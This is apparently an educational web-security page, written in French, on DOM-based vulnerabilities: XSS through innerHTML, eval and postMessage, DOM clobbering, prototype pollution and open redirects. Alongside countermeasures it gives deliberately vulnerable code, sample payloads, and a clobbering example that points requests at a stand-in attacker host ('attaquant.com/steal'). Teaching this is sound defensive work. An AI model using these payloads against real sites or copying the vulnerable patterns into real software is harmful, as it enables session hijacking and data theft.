Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Web Security
March 22, 2026

DOM-based Vulnerabilities

Les vulnérabilités DOM-based se produisent entièrement côté client : les données malveillantes passent d’une source contrôlable à un sink dangereux sans jamais traverser le serveur. Elles ne sont pas détectables par les scanners côté serveur.

Sources et Sinks§

Sources (lecture de données contrôlables par l'attaquant) :
  document.URL / document.location
  location.href / location.hash / location.search
  document.referrer
  window.name
  postMessage data
  localStorage / sessionStorage
  WebSocket messages

Sinks dangereux (écriture de données) :
  innerHTML / outerHTML           → DOM XSS
  document.write()                → DOM XSS
  eval()                          → XSS / code injection
  setTimeout(string) / setInterval(string)  → XSS
  location.href = ...             → Open Redirect / XSS via javascript:
  element.src / element.href      → XSS via javascript:
  jQuery.html() / $.append()      → DOM XSS
  element.setAttribute('src', ...) → XSS si src d'un script

DOM XSS§

Exemples classiques§

// Sink : innerHTML — lit le hash de l'URL
// Code vulnérable
document.getElementById('output').innerHTML = location.hash.substring(1);
// Payload : https://site.com/page#<img src=x onerror=alert(1)>

// Sink : document.write
document.write('<div>' + location.search.split('q=')[1] + '</div>');
// Payload : https://site.com/?q=<script>alert(1)</script>

// Sink : eval (souvent dans du code de configuration)
const config = eval('(' + location.hash.substring(1) + ')');
// Payload : #{"__proto__": {"polluted": true}}

// Sink : location.href
const redirect = new URLSearchParams(location.search).get('next');
location.href = redirect;
// Payload : ?next=javascript:alert(1)

// Via jQuery
const input = location.hash.substring(1);
$('#container').html(input);  // Même vulnérabilité qu'innerHTML
$('a').attr('href', input);   // Vulnérable si javascript: est accepté

DOM XSS via postMessage§

// Code vulnérable — accepte des messages de n'importe quelle origine
window.addEventListener('message', (event) => {
    // event.origin pas vérifié !
    document.getElementById('output').innerHTML = event.data;
});

// Exploit — depuis une page malveillante
// <iframe src="https://target.com"> doit être embarquable
const iframe = document.querySelector('iframe');
iframe.onload = () => {
    iframe.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*');
};
// Protection
window.addEventListener('message', (event) => {
    if (event.origin !== 'https://trusted.com') return;  // Vérifier l'origine
    // Traiter event.data de manière sûre (textContent, pas innerHTML)
    document.getElementById('output').textContent = event.data;
});

DOM XSS via WebSocket§

// Si les messages WebSocket sont injectés dans le DOM sans sanitisation
ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    document.getElementById('chat').innerHTML += data.message;  // ← Dangereux
};
// Un attaquant envoyant un message avec <script>... → XSS stocké pour tous les clients

DOM Clobbering§

Technique qui exploite la possibilité de contrôler des variables globales JavaScript via des éléments HTML ayant des id ou name spécifiques.

Principe§

<!-- En HTML, les éléments avec un id sont accessibles comme variables globales -->
<img id="foo">
<script>
    console.log(window.foo);  // → <img id="foo">
</script>

<!-- Clobbering : écraser une variable JavaScript avec un élément HTML -->
<!-- Si le code JS lit window.config et que l'attaquant peut injecter du HTML : -->
<a id="config"></a>
<script>
    const url = window.config.url;  // Erreur → TypeError: Cannot read property 'url' of undefined
    // ou window.config vaut maintenant l'élément <a>
</script>

Exploitation§

<!-- Le code cible -->
<script>
    // Lit config depuis window, construit une URL
    const apiUrl = window.config ? window.config.apiBase : '/api';
    fetch(apiUrl + '/data');
</script>

<!-- Clobbering avec un élément anchor -->
<!-- L'attribut href d'un <a> est accessible via .apiBase si structure imbriquée -->
<a id="config" name="apiBase" href="https://attaquant.com/steal?data="></a>

<!-- Clobbering d'objet imbriqué via HTMLCollection -->
<!-- Deux éléments avec le même id créent une HTMLCollection -->
<a id="config"></a>
<a id="config" name="apiBase" href="https://attaquant.com/"></a>
<!-- window.config → HTMLCollection
     window.config.apiBase → <a name="apiBase"> → .href = "https://attaquant.com/" -->

Cas réel — Prototype Pollution + DOM Clobbering§

<!-- Si la bibliothèque utilise document.getElementById('config')
     pour charger la configuration JS -->
<form id="__proto__">
  <input name="isAdmin" value="true">
</form>
<!-- Certaines bibliothèques lisent cela et polluent Object.prototype -->

Prototype Pollution DOM-based§

// Code vulnérable — merge récursif avec des données de l'URL
function merge(target, source) {
    for (let key of Object.keys(source)) {
        if (typeof source[key] === 'object') {
            target[key] = target[key] || {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Si l'URL est : ?__proto__[isAdmin]=true
const params = Object.fromEntries(new URLSearchParams(location.search));
merge({}, params);
// → Object.prototype.isAdmin === "true" pour tous les objets de la page

Open Redirect DOM-based§

// Lecture du paramètre next et redirection
const next = new URLSearchParams(location.search).get('next');
window.location = next;  // Pas de validation

// Payloads
// ?next=https://attaquant.com          → redirection externe
// ?next=javascript:alert(1)           → XSS
// ?next=//attaquant.com               → redirection relative → externe

Détection§

# Outils de scan DOM XSS
# DOMinator Pro (commercial)
# DOM Invader (extension Burp Suite) — le plus accessible

# DOM Invader (Burp) :
# 1. Ouvrir le navigateur intégré Burp
# 2. Extension DOM Invader → "Enable"
# 3. Naviguer sur le site
# 4. DOM Invader insère des canaries dans les sources et détecte si elles atteignent des sinks

# Audit manuel — rechercher les sinks dans le code JS
grep -r "innerHTML\|outerHTML\|document\.write\|eval(" *.js
grep -r "location\.hash\|location\.search\|location\.href" *.js

# Dans la console du navigateur
# Chercher les variables contrôlables par l'URL
Object.keys(window).filter(k => k.includes('url') || k.includes('path'))

Contre-mesures§

// Utiliser textContent au lieu d'innerHTML (ne parse pas le HTML)
element.textContent = userInput;   // Sûr
element.innerHTML = userInput;     // Dangereux

// Sanitiser avant injection HTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// Valider les redirections
const ALLOWED_ORIGINS = ['https://site.com'];
const next = new URLSearchParams(location.search).get('next');
try {
    const url = new URL(next, window.location.origin);
    if (ALLOWED_ORIGINS.includes(url.origin)) {
        window.location = url.href;
    }
} catch (e) {
    // URL invalide → ignorer
}

// CSP stricte pour limiter les sinks
// Content-Security-Policy: script-src 'nonce-RANDOM' 'strict-dynamic'
// Empêche les scripts inline (eval, innerHTML avec scripts)

// Éviter d'utiliser window.name — modifiable par une page ouvrant la fenêtre
// Éviter d'utiliser document.referrer sans validation
—The Gardener